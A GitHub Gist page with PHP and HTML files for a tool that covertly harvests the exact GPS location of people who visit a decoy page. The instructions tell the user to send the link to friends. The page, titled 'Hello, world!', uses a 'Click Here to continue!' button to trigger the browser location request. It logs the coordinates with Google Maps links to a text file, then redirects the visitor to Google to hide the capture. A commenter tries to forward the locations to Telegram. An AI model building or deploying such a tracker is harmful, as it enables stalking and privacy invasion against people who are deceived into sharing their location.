Created
December 28, 2020 11:03
-
-
Save TheBinitGhimire/61bcdcaf94214c244a74c208988fb856 to your computer and use it in GitHub Desktop.
Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP! | |
Author: Binit Ghimire | |
GitHub Profile: https://github.com/TheBinitGhimire | |
Author URL: https://WHOISbinit.me/ | |
_________________ | |
|| How to Use? || | |
‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾ | |
- Host "index.html", "forward.php", and "info.txt" in your web server! | |
- Send the URL to your website to your friends! | |
Thank You! | |
*/ | |
function validateGeolocation($x, $y){ | |
if(!(is_float($x) && is_float($y))) return false; | |
else return preg_match('/^[-]?(([0-8]?[0-9])\.(\d+))|(90(\.0+)?),[-]?((((1[0-7][0-9])|([0-9]?[0-9]))\.(\d+))|180(\.0+)?)$/', $x.','.$y); | |
} | |
$valid = false; | |
// Checking if the Geolocation is properly sent or not! | |
if(isset($_GET['x']) && isset($_GET['y'])){ | |
// Ensuring the provided Geolocation values are float values! | |
$latitude = floatval($_GET['x']); | |
$longitude = floatval($_GET['y']); | |
// Validating whether the Latitude and Longitude are in proper format or not! | |
if(validateGeolocation($latitude, $latitude)){ | |
$valid = true; | |
// Crafting a Google Maps URL with the valid Latitude and Longitude! | |
$maps = "http://maps.google.com/maps?q=$latitude,$longitude"; | |
// Writing (actually appending) the Geolocation Information into a text file named "info.txt"! | |
$locationFile = fopen("info.txt", "a") or die("Unable to open file!"); | |
$info = "Latitude: ".$latitude."\nLongitude: ".$longitude."\nMaps: ".$maps."\n\n"; | |
fwrite($locationFile, $info); | |
fclose($locationFile); | |
} | |
} | |
// Redirecting to Google if all criteria is satisfied! | |
if($valid){ | |
header('Location: https://www.google.com/'); | |
} else{ | |
// Redirecting to the HomePage if the Geolocation isn't properly sent! | |
header('Location: index.html'); | |
} | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="utf-8" /> | |
<meta name="viewport" content="width=device-width, initial-scale=1" /> | |
<title>Hello, world!</title> | |
<meta name="description" content="Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!" /> | |
<meta name="author" content="Binit Ghimire" /> | |
<meta name="keywords" content="HTML5, Geolocation, GPS, Location, Get Location, Grab Location" /> | |
<!-- Open Graph Meta Tags in case you want to share the URL of your webpage on Facebook! --> | |
<meta property="og:title" content="Hello, world!" /> | |
<meta property="og:type" content="website" /> | |
<meta property="og:site_name" content="Hello, world!" /> | |
<meta property="og:locale" content="en_US" /> | |
<meta property="og:description" content="Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!" /> | |
<meta property='article:author' content='https://www.facebook.com/InternetHeroBINIT' /> | |
<link rel="icon" type="image/png" sizes="32x32" href="https://cdn.iconscout.com/icon/free/png-32/location-62-93995.png" /> | |
<meta name="theme-color" content="#ff0000" /> | |
<style> | |
/* Centering everything horizontally and vertically! */ | |
html, body{ | |
height:100%; | |
} | |
html{ | |
display:table; | |
margin:auto; | |
} | |
body{ | |
display:table-cell; | |
vertical-align:middle; | |
text-align:center; | |
color:#fc3d7d; | |
} | |
</style> | |
</head> | |
<body> | |
<h3>How's it going on!?</h3> | |
<hr color="red" size=1> | |
<button onclick="getLocation()">Click Here to continue!</button> | |
<hr color="red" size=1> | |
<p id="errorMessage"></p> | |
<script> | |
let message = document.getElementById("errorMessage"); | |
function getLocation(){ | |
if(navigator.geolocation){ | |
navigator.geolocation.getCurrentPosition(sendLocation); | |
} else{ | |
message.innerHTML = "<em>Your browser is unsupported.</em>"; | |
} | |
} | |
function sendLocation(geoLocation) { | |
window.location = "forward.php?x="+geoLocation.coords.latitude+"&y="+geoLocation.coords.longitude; | |
} | |
</script> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
_____________________________ | |
|| Geolocation Information || | |
‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾ | |
works just fine, you need a SSL certificate and to route it through HTTPS, however you will get a "popup" whether you want to share your location or not, which cannot be bypassed
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
I'm trying to make this also work with https://www.callmebot.com/blog/telegram-text-messages/
I'll keep trying 😅